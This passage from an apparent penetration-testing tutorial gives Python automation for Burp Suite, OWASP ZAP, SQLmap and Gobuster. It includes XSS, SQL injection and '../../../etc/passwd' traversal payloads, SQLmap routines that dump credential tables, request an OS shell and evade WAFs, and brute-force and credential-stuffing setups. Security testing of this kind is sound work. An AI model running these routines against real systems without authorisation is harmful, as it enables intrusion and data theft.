print(\"\\n[*] Passive Scan Phase:\")\n        for step in steps:\n            print(f\"  {step}\")\n            \n    def active_scan_phase(self):\n        \"\"\"Active scanning phase - use Burp Scanner (Pro)\"\"\"\n        \n        if self.has_pro_version():\n            steps = [\n                \"1. Right-click on interesting items in Site Map\",\n                \"2. Select 'Actively scan this branch'\",\n                \"3. Configure scan settings\",\n                \"4. Monitor scan progress in Scanner tab\",\n                \"5. Review generated issues\"\n            ]\n        else:\n            steps = [\n                \"1. Manual testing with Repeater and Intruder\",\n                \"2. Use Scanner in community edition for passive scanning only\",\n                \"3. Focus on manual vulnerability discovery\"\n            ]\n            \n        print(\"\\n[*] Active Scan Phase:\")\n        for step in steps:\n            print(f\"  {step}\")\n            \n    def manual_testing_phase(self):\n        \"\"\"Manual testing with Burp tools\"\"\"\n        \n        tests = [\n            {\n                'tool': 'Repeater',\n                'purpose': 'Manual request manipulation',\n                'actions': [\n                    'Modify parameters and observe responses',\n                    'Test for injection vulnerabilities',\n                    'Manipulate cookies and headers',\n                    'Test parameter tampering'\n                ]\n            },\n            {\n                'tool': 'Intruder',\n                'purpose': 'Automated attacks',\n                'actions': [\n                    'Brute force login forms',\n                    'Enumerate directories and files',\n                    'Fuzz parameters for vulnerabilities',\n                    'Test for IDOR by enumerating IDs'\n                ]\n            },\n            {\n                'tool': 'Sequencer',\n                'purpose': 'Token analysis',\n                'actions': [\n                    'Capture session tokens',\n                    'Analyze randomness',\n                    'Check for predictable patterns'\n                ]\n            },\n            {\n                'tool': 'Decoder',\n                'purpose': 'Data transformation',\n                'actions': [\n                    'Decode/encode URL, Base64, HTML',\n                    'Decrypt/encrypt data',\n                    'Convert between formats'\n                ]\n            }\n        ]\n        \n        print(\"\\n[*] Manual Testing Phase:\")\n        for test in tests:\n            print(f\"\\n  {test['tool']} - {test['purpose']}\")\n            for action in test['actions']:\n                print(f\"    \u2022 {action}\")\n                \n    def extension_phase(self):\n        \"\"\"Use Burp Extensions\"\"\"\n        \n        useful_extensions = [\n            'Active Scan++ - Enhanced scanning',\n            'Autorize - Authorization testing',\n            'Backslash Powered Scanner - Advanced scanning',\n            'Collaborator Everywhere - OAST detection',\n            'Content Type Converter - Request conversion',\n            'CSRF Scanner - CSRF detection',\n            'Decoder Improved - Enhanced decoding',\n            'Hackvertor - Custom encoding/decoding',\n            'JSON Web Tokens - JWT testing',\n            'Logger++ - Enhanced logging',\n            'Retire.js - JavaScript library vulnerabilities',\n            'Turbo Intruder - High-speed Intruder'\n        ]\n        \n        print(\"\\n[*] Useful Burp Extensions:\")\n        for ext in useful_extensions:\n            print(f\"  \u2022 {ext}\")\n            \n    def reporting_phase(self):\n        \"\"\"Generate reports\"\"\"\n        \n        report_types = [\n            'HTML Report - Detailed findings with descriptions',\n            'XML Report - Machine-readable format',\n            'CSV Report - Spreadsheet format',\n            'Issue Activity - Real-time issue log'\n        ]\n        \n        print(\"\\n[*] Reporting Phase:\")\n        for report in report_types:\n            print(f\"  \u2022 {report}\")\n            \n    def has_pro_version(self):\n        \"\"\"Check if using Pro version\"\"\"\n        # In practice, would check Burp's API\n        return False\n    \n    def run_full_assessment(self, target_urls):\n        \"\"\"Run complete Burp assessment workflow\"\"\"\n        \n        print(\"=\" * 60)\n        print(\"BURP SUITE COMPREHENSIVE ASSESSMENT WORKFLOW\")\n        print(\"=\" * 60)\n        \n        self.define_scope(target_urls)\n        self.passive_scan_phase()\n        self.active_scan_phase()\n        self.manual_testing_phase()\n        self.extension_phase()\n        self.reporting_phase()\n        \n        print(\"\\n\" + \"=\" * 60)\n        print(\"ASSESSMENT WORKFLOW COMPLETE\")\n        print(\"=\" * 60)\n\n# Example usage\nworkflow = BurpWorkflow()\nworkflow.run_full_assessment(['https://example.com'])\n```\n\n#### 14.1.3 Burp Intruder Attack Types\n\n```python\n#!/usr/bin/env python3\n# burp_intruder.py\n\nclass BurpIntruderAttacks:\n    def __init__(self):\n        self.attack_types = {\n            'sniper': 'Single payload set, one payload per request',\n            'battering_ram': 'Single payload set, same payload in all positions',\n            'pitchfork': 'Multiple payload sets, used in parallel',\n            'cluster_bomb': 'Multiple payload sets, used in combination'\n        }\n        \n    def sniper_attack(self, positions, payloads):\n        \"\"\"Sniper attack - tests each position with each payload\"\"\"\n        \n        print(f\"[*] Sniper Attack: {len(positions)} positions \u00d7 {len(payloads)} payloads = {len(positions) * len(payloads)} requests\")\n        \n        requests_count = 0\n        for position in positions:\n            for payload in payloads:\n                requests_count += 1\n                \n        return {\n            'type': 'sniper',\n            'positions': len(positions),\n            'payloads': len(payloads),\n            'total_requests': requests_count,\n            'use_case': 'Testing one parameter at a time, like password brute force'\n        }\n    \n    def battering_ram_attack(self, positions, payloads):\n        \"\"\"Battering ram - uses same payload in all positions\"\"\"\n        \n        print(f\"[*] Battering Ram Attack: {len(payloads)} payloads, {len(positions)} positions per request\")\n        \n        return {\n            'type': 'battering_ram',\n            'payloads': len(payloads),\n            'total_requests': len(payloads),\n            'use_case': 'Testing same value in multiple parameters, like CSRF token bypass'\n        }\n    \n    def pitchfork_attack(self, payload_sets):\n        \"\"\"Pitchfork - parallel payload sets\"\"\"\n        \n        # Find minimum length among payload sets\n        min_length = min(len(p) for p in payload_sets)\n        \n        print(f\"[*] Pitchfork Attack: {len(payload_sets)} payload sets, {min_length} requests\")\n        \n        return {\n            'type': 'pitchfork',\n            'payload_sets': len(payload_sets),\n            'total_requests': min_length,\n            'use_case': 'Credential stuffing with username:password pairs'\n        }\n    \n    def cluster_bomb_attack(self, payload_sets):\n        \"\"\"Cluster bomb - combinatorial attack\"\"\"\n        \n        # Calculate total combinations\n        total = 1\n        for p in payload_sets:\n            total *= len(p)\n            \n        print(f\"[*] Cluster Bomb Attack: {len(payload_sets)} payload sets, {total} requests\")\n        \n        return {\n            'type': 'cluster_bomb',\n            'payload_sets': len(payload_sets),\n            'total_requests': total,\n            'use_case': 'Comprehensive parameter fuzzing, directory brute force'\n        }\n    \n    def generate_payloads(self, attack_type):\n        \"\"\"Generate appropriate payloads based on attack type\"\"\"\n        \n        payloads = {\n            'sniper': ['admin', 'root', 'user', 'test'],\n            'battering_ram': ['admin', 'true', '1', 'yes'],\n            'pitchfork': {\n                'usernames': ['admin', 'root', 'user'],\n                'passwords': ['password', '123456', 'admin']\n            },\n            'cluster_bomb': {\n                'parameters': ['id', 'user_id', 'uid'],\n                'values': ['1', '2', '3', '4', '5']\n            }\n        }\n        \n        return payloads.get(attack_type, [])\n    \n    def suggest_attack(self, test_scenario):\n        \"\"\"Suggest appropriate attack type for scenario\"\"\"\n        \n        scenarios = {\n            'password_bruteforce': 'sniper',\n            'username_enumeration': 'sniper',\n            'credential_stuffing': 'pitchfork',\n            'parameter_fuzzing': 'cluster_bomb',\n            'csrf_token_bruteforce': 'battering_ram',\n            'idor_enumeration': 'sniper',\n            'directory_bruteforce': 'cluster_bomb',\n            'subdomain_bruteforce': 'sniper',\n            'api_endpoint_fuzzing': 'cluster_bomb'\n        }\n        \n        return scenarios.get(test_scenario, 'sniper')\n\n# Example usage\nintruder = BurpIntruderAttacks()\n\nscenarios = ['password_bruteforce', 'credential_stuffing', 'parameter_fuzzing']\n\nfor scenario in scenarios:\n    attack = intruder.suggest_attack(scenario)\n    print(f\"\\n[+] {scenario}: Use {attack} attack\")\n    \n    if attack == 'sniper':\n        result = intruder.sniper_attack(['username'], ['admin', 'root', 'user'])\n    elif attack == 'pitchfork':\n        result = intruder.pitchfork_attack([['admin', 'root'], ['password', '123456']])\n    elif attack == 'cluster_bomb':\n        result = intruder.cluster_bomb_attack([['id', 'uid'], ['1', '2', '3']])\n    elif attack == 'battering_ram':\n        result = intruder.battering_ram_attack(['param1', 'param2'], ['test', '1', 'true'])\n        \n    print(f\"  {result['total_requests']} requests - {result['use_case']}\")\n```\n\n### 14.2 OWASP ZAP\n\nOWASP Zed Attack Proxy (ZAP) is a free, open-source web application security scanner maintained by OWASP.\n\n#### 14.2.1 ZAP Installation and Configuration\n\n```python\n#!/usr/bin/env python3\n# zap_config.py\n\nimport subprocess\nimport time\nimport requests\nimport json\n\nclass ZAPConfigurator:\n    def __init__(self, zap_host='localhost', zap_port=8080):\n        self.zap_host = zap_host\n        self.zap_port = zap_port\n        self.zap_api_key = None\n        self.zap_url = f\"http://{zap_host}:{zap_port}\"\n        \n    def start_zap(self):\n        \"\"\"Start ZAP daemon\"\"\"\n        \n        # Start ZAP in daemon mode\n        cmd = [\n            'zap.sh',\n            '-daemon',\n            '-port', str(self.zap_port),\n            '-host', self.zap_host,\n            '-config', 'api.disablekey=true',  # For testing only\n            '-config', 'api.addrs.addr.name=.*',\n            '-config', 'api.addrs.addr.regex=true'\n        ]\n        \n        print(f\"[*] Starting ZAP daemon on {self.zap_host}:{self.zap_port}\")\n        self.process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        \n        # Wait for ZAP to start\n        time.sleep(10)\n        \n        # Check if ZAP is running\n        try:\n            response = requests.get(f\"{self.zap_url}/JSON/core/view/version/\")\n            if response.status_code == 200:\n                print(f\"[+] ZAP started successfully - Version: {response.json().get('version', 'unknown')}\")\n                return True\n        except:\n            print(\"[-] Failed to start ZAP\")\n            return False\n            \n    def stop_zap(self):\n        \"\"\"Stop ZAP daemon\"\"\"\n        \n        try:\n            requests.get(f\"{self.zap_url}/JSON/core/action/shutdown/\")\n            self.process.terminate()\n            print(\"[+] ZAP stopped\")\n        except:\n            print(\"[-] Error stopping ZAP\")\n            \n    def configure_scope(self, target_url):\n        \"\"\"Configure scan scope\"\"\"\n        \n        # Include in scope\n        response = requests.get(\n            f\"{self.zap_url}/JSON/context/action/includeInContext/\",\n            params={\n                'contextName': 'Default Context',\n                'regex': f'.*{target_url}.*'\n            }\n        )\n        \n        if response.status_code == 200:\n            print(f\"[+] {target_url} added to scope\")\n            \n        # Enable scanners\n        requests.get(\n            f\"{self.zap_url}/JSON/pscan/action/enableAllScanners/\"\n        )\n        \n        requests.get(\n            f\"{self.zap_url}/JSON/ascan/action/enableAllScanners/\"\n        )\n        \n    def set_session(self, session_name):\n        \"\"\"Set ZAP session name\"\"\"\n        \n        response = requests.get(\n            f\"{self.zap_url}/JSON/core/action/newSession/\",\n            params={'name': session_name, 'overwrite': 'true'}\n        )\n        \n        if response.status_code == 200:\n            print(f\"[+] New session created: {session_name}\")\n\nclass ZAPAutomation:\n    def __init__(self, zap_config):\n        self.zap = zap_config\n        self.alerts = []\n        \n    def spider_scan(self, target_url, max_children=10):\n        \"\"\"Perform spider scan\"\"\"\n        \n        print(f\"[*] Starting spider scan on {target_url}\")\n        \n        # Start spider\n        response = requests.get(\n            f\"{self.zap.zap_url}/JSON/spider/action/scan/\",\n            params={\n                'url': target_url,\n                'maxChildren': max_children,\n                'contextName': 'Default Context'\n            }\n        )\n        \n        if response.status_code != 200:\n            print(\"[-] Failed to start spider\")\n            return None\n            \n        scan_id = response.json().get('scan')\n        \n        # Monitor progress\n        while True:\n            status_response = requests.get(\n                f\"{self.zap.zap_url}/JSON/spider/view/status/\",\n                params={'scanId': scan_id}\n            )\n            \n            if status_response.status_code == 200:\n                status = status_response.json().get('status')\n                print(f\"  Spider progress: {status}%\")\n                \n                if status == '100':\n                    break\n                    \n            time.sleep(2)\n            \n        # Get results\n        results_response = requests.get(\n            f\"{self.zap.zap_url}/JSON/spider/view/results/\",\n            params={'scanId': scan_id}\n        )\n        \n        if results_response.status_code == 200:\n            urls = results_response.json().get('urls', [])\n            print(f\"[+] Spider found {len(urls)} URLs\")\n            return urls\n            \n        return None\n    \n    def active_scan(self, target_url):\n        \"\"\"Perform active scan\"\"\"\n        \n        print(f\"[*] Starting active scan on {target_url}\")\n        \n        # Start active scan\n        response = requests.get(\n            f\"{self.zap.zap_url}/JSON/ascan/action/scan/\",\n            params={\n                'url': target_url,\n                'recurse': 'true',\n                'inScopeOnly': 'true',\n                'scanPolicyName': 'Default Policy'\n            }\n        )\n        \n        if response.status_code != 200:\n            print(\"[-] Failed to start active scan\")\n            return None\n            \n        scan_id = response.json().get('scan')\n        \n        # Monitor progress\n        while True:\n            status_response = requests.get(\n                f\"{self.zap.zap_url}/JSON/ascan/view/status/\",\n                params={'scanId': scan_id}\n            )\n            \n            if status_response.status_code == 200:\n                status = status_response.json().get('status')\n                print(f\"  Active scan progress: {status}%\")\n                \n                if status == '100':\n                    break\n                    \n            time.sleep(5)\n            \n        # Get alerts\n        alerts_response = requests.get(\n            f\"{self.zap.zap_url}/JSON/core/view/alerts/\",\n            params={'baseurl': target_url}\n        )\n        \n        if alerts_response.status_code == 200:\n            alerts = alerts_response.json().get('alerts', [])\n            self.alerts.extend(alerts)\n            print(f\"[+] Active scan found {len(alerts)} alerts\")\n            return alerts\n            \n        return None\n    \n    def ajax_spider(self, target_url):\n        \"\"\"Use AJAX spider for modern web apps\"\"\"\n        \n        print(f\"[*] Starting AJAX spider on {target_url}\")\n        \n        response = requests.get(\n            f\"{self.zap.zap_url}/JSON/ajaxSpider/action/scan/\",\n            params={'url': target_url}\n        )\n        \n        if response.status_code != 200:\n            print(\"[-] Failed to start AJAX spider\")\n            return None\n            \n        # Monitor progress\n        while True:\n            status_response = requests.get(\n                f\"{self.zap.zap_url}/JSON/ajaxSpider/view/status/\"\n            )\n            \n            if status_response.status_code == 200:\n                status = status_response.json().get('status')\n                print(f\"  AJAX spider: {status}\")\n                \n                if status == 'stopped':\n                    break\n                    \n            time.sleep(2)\n            \n        # Get results\n        results_response = requests.get(\n            f\"{self.zap.zap_url}/JSON/ajaxSpider/view/results/\",\n            params={'start': '0', 'count': '100'}\n        )\n        \n        if results_response.status_code == 200:\n            urls = results_response.json().get('results', [])\n            print(f\"[+] AJAX spider found {len(urls)} URLs\")\n            return urls\n            \n        return None\n    \n    def passive_scan_wait(self, timeout=300):\n        \"\"\"Wait for passive scan to complete\"\"\"\n        \n        print(\"[*] Waiting for passive scan to complete...\")\n        \n        start_time = time.time()\n        while time.time() - start_time &lt; timeout:\n            response = requests.get(\n                f\"{self.zap.zap_url}/JSON/pscan/view/recordsToScan/\"\n            )\n            \n            if response.status_code == 200:\n                remaining = int(response.json().get('recordsToScan', 0))\n                print(f\"  Passive scan remaining: {remaining} records\")\n                \n                if remaining == 0:\n                    print(\"[+] Passive scan complete\")\n                    return True\n                    \n            time.sleep(5)\n            \n        print(\"[-] Passive scan timeout\")\n        return False\n    \n    def generate_report(self, output_file='zap_report.html'):\n        \"\"\"Generate HTML report\"\"\"\n        \n        response = requests.get(\n            f\"{self.zap.zap_url}/OTHER/core/other/htmlreport/\"\n        )\n        \n        if response.status_code == 200:\n            with open(output_file, 'w') as f:\n                f.write(response.text)\n            print(f\"[+] Report saved to {output_file}\")\n            \n    def get_alerts_summary(self):\n        \"\"\"Get summary of alerts by risk level\"\"\"\n        \n        summary = {\n            'High': 0,\n            'Medium': 0,\n            'Low': 0,\n            'Informational': 0\n        }\n        \n        for alert in self.alerts:\n            risk = alert.get('risk', 'Informational')\n            if risk in summary:\n                summary[risk] += 1\n                \n        return summary\n    \n    def run_full_scan(self, target_url):\n        \"\"\"Run complete ZAP scan workflow\"\"\"\n        \n        print(\"=\" * 60)\n        print(\"OWASP ZAP AUTOMATED SCAN\")\n        print(\"=\" * 60)\n        \n        # Configure\n        self.zap.configure_scope(target_url)\n        self.zap.set_session(f\"scan_{int(time.time())}\")\n        \n        # Spider scan\n        spider_urls = self.spider_scan(target_url)\n        \n        # Wait for passive scan\n        self.passive_scan_wait()\n        \n        # AJAX spider for dynamic content\n        ajax_urls = self.ajax_spider(target_url)\n        \n        # Active scan\n        alerts = self.active_scan(target_url)\n        \n        # Generate report\n        self.generate_report()\n        \n        # Print summary\n        summary = self.get_alerts_summary()\n        print(\"\\n[+] Scan Complete - Alert Summary:\")\n        print(f\"  High: {summary['High']}\")\n        print(f\"  Medium: {summary['Medium']}\")\n        print(f\"  Low: {summary['Low']}\")\n        print(f\"  Informational: {summary['Informational']}\")\n        \n        return summary\n\n# Example usage\nconfig = ZAPConfigurator()\n\n# Start ZAP\nif config.start_zap():\n    try:\n        # Run automated scan\n        zap = ZAPAutomation(config)\n        results = zap.run_full_scan('https://example.com')\n        \n    finally:\n        # Stop ZAP\n        config.stop_zap()\n```\n\n#### 14.2.2 ZAP Scripting and Customization\n\n```python\n#!/usr/bin/env python3\n# zap_scripts.py\n\nclass ZAPScripting:\n    def __init__(self, zap_url):\n        self.zap_url = zap_url\n        \n    def create_authentication_script(self):\n        \"\"\"Create authentication script for logged-in scanning\"\"\"\n        \n        script = \"\"\"\n// Authentication script for ZAP\n// Save as: authenticate.js\n\nvar AuthenticationHelper = Java.type('org.zaproxy.zap.authentication.AuthenticationHelper');\nvar ScriptVars = Java.type('org.zaproxy.zap.script.ScriptVars');\n\nfunction authenticate(helper, paramsValues, credentials) {\n    print(\"Authenticating...\");\n    \n    var username = credentials.getParam('username');\n    var password = credentials.getParam('password');\n    \n    // Prepare login request\n    var requestBody = 'username=' + encodeURIComponent(username) + \n                      '&amp;password=' + encodeURIComponent(password);\n    \n    var msg = helper.prepareMessage();\n    msg.setRequestHeader(\n        'POST /login HTTP/1.1\\\\r\\\\n' +\n        'Host: example.com\\\\r\\\\n' +\n        'Content-Type: application/x-www-form-urlencoded\\\\r\\\\n' +\n        'Content-Length: ' + requestBody.length + '\\\\r\\\\n'\n    );\n    msg.setRequestBody(requestBody);\n    \n    // Send request\n    helper.sendAndReceive(msg);\n    \n    // Check if login successful\n    if (msg.getResponseHeader().getStatusCode() == 302) {\n        print(\"Authentication successful!\");\n        return msg;\n    }\n    \n    print(\"Authentication failed\");\n    return null;\n}\n\nfunction getRequiredParamsNames() {\n    return [\"Username Parameter\", \"Password Parameter\"];\n}\n\nfunction getOptionalParamsNames() {\n    return [];\n}\n\nfunction getCredentialsParamsNames() {\n    return [\"username\", \"password\"];\n}\n\"\"\"\n        \n        # Save script\n        with open('zap_auth_script.js', 'w') as f:\n            f.write(script)\n            \n        print(\"[+] Authentication script created: zap_auth_script.js\")\n        \n    def create_passive_scan_script(self):\n        \"\"\"Create custom passive scan rule\"\"\"\n        \n        script = \"\"\"\n// Custom passive scan rule\n// Save as: custom_passive.js\n\nvar PluginPassiveScanner = Java.type('org.zaproxy.zap.extension.pscan.PluginPassiveScanner');\n\nfunction scan(helper, msg, uri) {\n    var CUSTOM_HEADER = 'X-Custom-Header';\n    \n    // Get response headers\n    var headers = msg.getResponseHeader();\n    \n    // Check for missing security headers\n    var securityHeaders = [\n        'X-Frame-Options',\n        'X-Content-Type-Options',\n        'Content-Security-Policy',\n        'Strict-Transport-Security'\n    ];\n    \n    for (var i = 0; i &lt; securityHeaders.length; i++) {\n        var header = securityHeaders[i];\n        if (headers.getHeader(header) == null) {\n            helper.newAlert()\n                .setRisk(1)  // Low\n                .setConfidence(2)  // Medium\n                .setTitle('Missing ' + header + ' Header')\n                .setDescription('The ' + header + ' header is not set')\n                .setSolution('Set the ' + header + ' header appropriately')\n                .setReference('https://owasp.org/...')\n                .raise();\n        }\n    }\n    \n    // Check for sensitive information in response\n    var patterns = [\n        'password', 'credit card', 'ssn', 'secret'\n    ];\n    \n    var body = new String(msg.getResponseBody().getBytes());\n    for (var i = 0; i &lt; patterns.length; i++) {\n        if (body.toLowerCase().indexOf(patterns[i]) &gt;= 0) {\n            helper.newAlert()\n                .setRisk(2)  // Medium\n                .setConfidence(2)\n                .setTitle('Sensitive Information Disclosure')\n                .setDescription('Found \"' + patterns[i] + '\" in response')\n                .raise();\n            break;\n        }\n    }\n}\n\"\"\"\n        \n        with open('zap_passive_script.js', 'w') as f:\n            f.write(script)\n            \n        print(\"[+] Passive scan script created: zap_passive_script.js\")\n        \n    def create_active_scan_script(self):\n        \"\"\"Create custom active scan rule\"\"\"\n        \n        script = \"\"\"\n// Custom active scan rule\n// Save as: custom_active.js\n\nvar ActivePlugin = Java.type('org.zaproxy.zap.extension.ascan.ActivePlugin');\n\nfunction scan(helper, msg, uri) {\n    var testParam = 'test';\n    var testPayloads = [\n        'alert(1)',\n        \"' OR '1'='1\",\n        '../../../etc/passwd'\n    ];\n    \n    for (var i = 0; i &lt; testPayloads.length; i++) {\n        var payload = testPayloads[i];\n        \n        // Create new message with payload\n        var testMsg = helper.prepareMessage();\n        var requestUri = uri + '?' + testParam + '=' + encodeURIComponent(payload);\n        testMsg.setRequestHeader('GET ' + requestUri + ' HTTP/1.1\\\\r\\\\nHost: ' + uri.getHost());\n        \n        // Send request\n        helper.sendAndReceive(testMsg);\n        \n        // Check response\n        var responseBody = new String(testMsg.getResponseBody().getBytes());\n        \n        if (responseBody.indexOf(payload) &gt;= 0) {\n            helper.newAlert()\n                .setRisk(2)  // Medium\n                .setConfidence(2)\n                .setTitle('Reflected XSS')\n                .setParam(testParam)\n                .setAttack(payload)\n                .setEvidence(payload)\n                .setDescription('The parameter may be vulnerable to XSS')\n                .setSolution('Implement proper output encoding')\n                .raise();\n        }\n    }\n}\n\nfunction getDependency() {\n    return null;\n}\n\"\"\"\n        \n        with open('zap_active_script.js', 'w') as f:\n            f.write(script)\n            \n        print(\"[+] Active scan script created: zap_active_script.js\")\n\n# Example usage\nzap_scripts = ZAPScripting('http://localhost:8080')\nzap_scripts.create_authentication_script()\nzap_scripts.create_passive_scan_script()\nzap_scripts.create_active_scan_script()\n```\n\n### 14.3 SQLmap\n\nSQLmap is the most powerful and widely used tool for automating SQL injection detection and exploitation.\n\n#### 14.3.1 SQLmap Fundamentals\n\n```python\n#!/usr/bin/env python3\n# sqlmap_automation.py\n\nimport subprocess\nimport json\nimport os\nimport re\n\nclass SQLmapAutomation:\n    def __init__(self, target_url):\n        self.target_url = target_url\n        self.results = {}\n        \n    def basic_scan(self, param=None, method='GET'):\n        \"\"\"Run basic SQLmap scan\"\"\"\n        \n        cmd = ['sqlmap', '-u', self.target_url, '--batch', '--output-dir=./sqlmap_results']\n        \n        if param:\n            cmd.extend(['-p', param])\n            \n        if method.upper() == 'POST':\n            cmd.append('--method=POST')\n            \n        print(f\"[*] Running basic SQLmap scan on {self.target_url}\")\n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        self.results['basic_scan'] = {\n            'command': ' '.join(cmd),\n            'output': result.stdout,\n            'vulnerable': 'vulnerable' in result.stdout.lower()\n        }\n        \n        return self.results['basic_scan']\n    \n    def advanced_scan(self, options):\n        \"\"\"Run advanced SQLmap scan with custom options\"\"\"\n        \n        cmd = ['sqlmap', '-u', self.target_url, '--batch', '--output-dir=./sqlmap_results']\n        \n        # Add advanced options\n        advanced_options = {\n            'level': '--level',\n            'risk': '--risk',\n            'dbms': '--dbms',\n            'technique': '--technique',\n            'threads': '--threads',\n            'cookie': '--cookie',\n            'data': '--data',\n            'headers': '--headers'\n        }\n        \n        for opt, value in options.items():\n            if opt in advanced_options:\n                cmd.extend([advanced_options[opt], str(value)])\n                \n        # Add enumeration flags\n        if options.get('enumerate'):\n            if 'dbs' in options['enumerate']:\n                cmd.append('--dbs')\n            if 'tables' in options['enumerate']:\n                cmd.append('--tables')\n            if 'columns' in options['enumerate']:\n                cmd.append('--columns')\n            if 'dump' in options['enumerate']:\n                cmd.append('--dump')\n                \n        print(f\"[*] Running advanced SQLmap scan\")\n        print(f\"    Command: {' '.join(cmd)}\")\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        return {\n            'command': ' '.join(cmd),\n            'output': result.stdout,\n            'success': result.returncode == 0\n        }\n    \n    def enumerate_databases(self):\n        \"\"\"Enumerate databases\"\"\"\n        \n        cmd = [\n            'sqlmap', '-u', self.target_url,\n            '--dbs', '--batch', '--output-dir=./sqlmap_results'\n        ]\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse databases from output\n        databases = []\n        in_databases = False\n        \n        for line in result.stdout.split('\\n'):\n            if 'available databases' in line:\n                in_databases = True\n                continue\n            if in_databases and line.strip() and '[*]' in line:\n                db = line.split('[*]')[-1].strip()\n                if db:\n                    databases.append(db)\n                    \n        return databases\n    \n    def enumerate_tables(self, database):\n        \"\"\"Enumerate tables in database\"\"\"\n        \n        cmd = [\n            'sqlmap', '-u', self.target_url,\n            '-D', database, '--tables', '--batch',\n            '--output-dir=./sqlmap_results'\n        ]\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse tables from output\n        tables = []\n        in_tables = False\n        \n        for line in result.stdout.split('\\n'):\n            if f'Database: {database}' in line:\n                in_tables = True\n                continue\n            if in_tables and line.strip() and '|' in line:\n                parts = line.split('|')\n                if len(parts) &gt;= 2:\n                    table = parts[1].strip()\n                    if table and table != 'Table':\n                        tables.append(table)\n                        \n        return tables\n    \n    def dump_table(self, database, table, columns=None):\n        \"\"\"Dump table contents\"\"\"\n        \n        cmd = [\n            'sqlmap', '-u', self.target_url,\n            '-D', database, '-T', table, '--dump', '--batch',\n            '--output-dir=./sqlmap_results'\n        ]\n        \n        if columns:\n            cmd.extend(['-C', ','.join(columns)])\n            \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        # Parse dumped data\n        dump_file = None\n        for line in result.stdout.split('\\n'):\n            if 'saved to' in line and 'dump' in line:\n                dump_file = line.split('saved to')[-1].strip()\n                break\n                \n        if dump_file and os.path.exists(dump_file):\n            with open(dump_file, 'r') as f:\n                data = f.read()\n            return data\n        else:\n            return result.stdout\n    \n    def os_shell(self):\n        \"\"\"Attempt OS shell\"\"\"\n        \n        cmd = [\n            'sqlmap', '-u', self.target_url,\n            '--os-shell', '--batch', '--output-dir=./sqlmap_results'\n        ]\n        \n        print(\"[*] Attempting to get OS shell...\")\n        print(\"[!] This is an interactive process\")\n        \n        # This will be interactive - user needs to respond\n        subprocess.run(cmd)\n        \n    def bypass_waf(self):\n        \"\"\"Run SQLmap with WAF bypass techniques\"\"\"\n        \n        cmd = [\n            'sqlmap', '-u', self.target_url,\n            '--random-agent', '--tamper=space2comment,between,randomcase',\n            '--level=3', '--risk=2', '--batch',\n            '--output-dir=./sqlmap_results'\n        ]\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        return {\n            'command': ' '.join(cmd),\n            'vulnerable': 'vulnerable' in result.stdout.lower()\n        }\n    \n    def generate_report(self, format='html'):\n        \"\"\"Generate SQLmap report\"\"\"\n        \n        cmd = [\n            'sqlmap', '-u', self.target_url,\n            '--batch', '--output-dir=./sqlmap_results'\n        ]\n        \n        if format == 'html':\n            cmd.append('--html-report')\n        elif format == 'json':\n            cmd.append('--json-report')\n            \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        \n        return result.stdout\n    \n    def run_complete_assessment(self):\n        \"\"\"Run complete SQLmap assessment\"\"\"\n        \n        print(\"=\" * 60)\n        print(\"SQLMAP COMPLETE ASSESSMENT\")\n        print(\"=\" * 60)\n        \n        # Basic scan\n        print(\"\\n[*] Phase 1: Basic Vulnerability Scan\")\n        basic = self.basic_scan()\n        \n        if not basic['vulnerable']:\n            print(\"[-] No SQL injection detected with basic scan\")\n            print(\"[*] Attempting advanced scan with WAF bypass...\")\n            advanced = self.bypass_waf()\n            if not advanced['vulnerable']:\n                print(\"[-] Still no vulnerability detected. Exiting.\")\n                return\n                \n        print(\"[+] SQL injection confirmed!\")\n        \n        # Database enumeration\n        print(\"\\n[*] Phase 2: Database Enumeration\")\n        databases = self.enumerate_databases()\n        print(f\"[+] Found databases: {databases}\")\n        \n        # Table enumeration\n        print(\"\\n[*] Phase 3: Table Enumeration\")\n        for db in databases[:3]:  # Limit to first 3 databases\n            print(f\"\\n[*] Enumerating tables in {db}\")\n            tables = self.enumerate_tables(db)\n            print(f\"  Found tables: {tables}\")\n            \n            # Look for interesting tables\n            interesting_tables = ['users', 'admin', 'credentials', 'passwords']\n            for table in tables:\n                if any(interest in table.lower() for interest in interesting_tables):\n                    print(f\"\\n[!] Found interesting table: {table}\")\n                    print(f\"[*] Dumping {table}...\")\n                    data = self.dump_table(db, table)\n                    print(data[:500])  # Print first 500 chars\n                    \n        print(\"\\n[+] Assessment complete!\")\n        print(\"[*] Check sqlmap_results/ directory for detailed output\")\n\n# Example usage\nsqlmap = SQLmapAutomation('https://example.com/page.php?id=1')\n\n# Run basic scan\nbasic_results = sqlmap.basic_scan(param='id')\nprint(json.dumps(basic_results, indent=2))\n\n# If vulnerable, enumerate\nif basic_results['vulnerable']:\n    databases = sqlmap.enumerate_databases()\n    print(f\"Databases: {databases}\")\n    \n    if databases:\n        tables = sqlmap.enumerate_tables(databases[0])\n        print(f\"Tables in {databases[0]}: {tables}\")\n        \n# Run complete assessment\nsqlmap.run_complete_assessment()\n```\n\n### 14.4 Gobuster\n\nGobuster is a fast directory/file and DNS busting tool written in Go.\n\n#### 14.4.1 Gobuster Usage and Automation\n\n```python\n#!/usr/bin/env python3\n# gobuster_automation.py\n\nimport subprocess\nimport json\nimport os\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\n\nclass GobusterAutomation:\n    def __init__(self, target_url):\n        self.target_url = target_url.rstrip('/')\n        self.results = {}\n        \n    def dir_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',\n                 extensions=None, threads=50):\n        \"\"\"Perform directory/file enumeration\"\"\"\n        \n        cmd = [\n            'gobuster', 'dir',\n            '-u', self.target_url,\n            '-w', wordlist,\n            '-t', str(threads),\n            '-o', f'gobuster_dir_{int(threading.get_ident())}.txt'\n        ]\n        \n        if extensions:\n            cmd.extend(['-x', ','.join(extensions)])\n            \n        # Add common options\n        cmd.extend(['-q', '--no-error', '-k'])  # Quiet, no TLS verification\n        \n        print(f\"[*] Starting directory scan on {self.target_url}\")\n        print(f\"    Wordlist: {wordlist}\")\n        if extensions:\n            print(f\"    Extensions: {extensions}\")\n            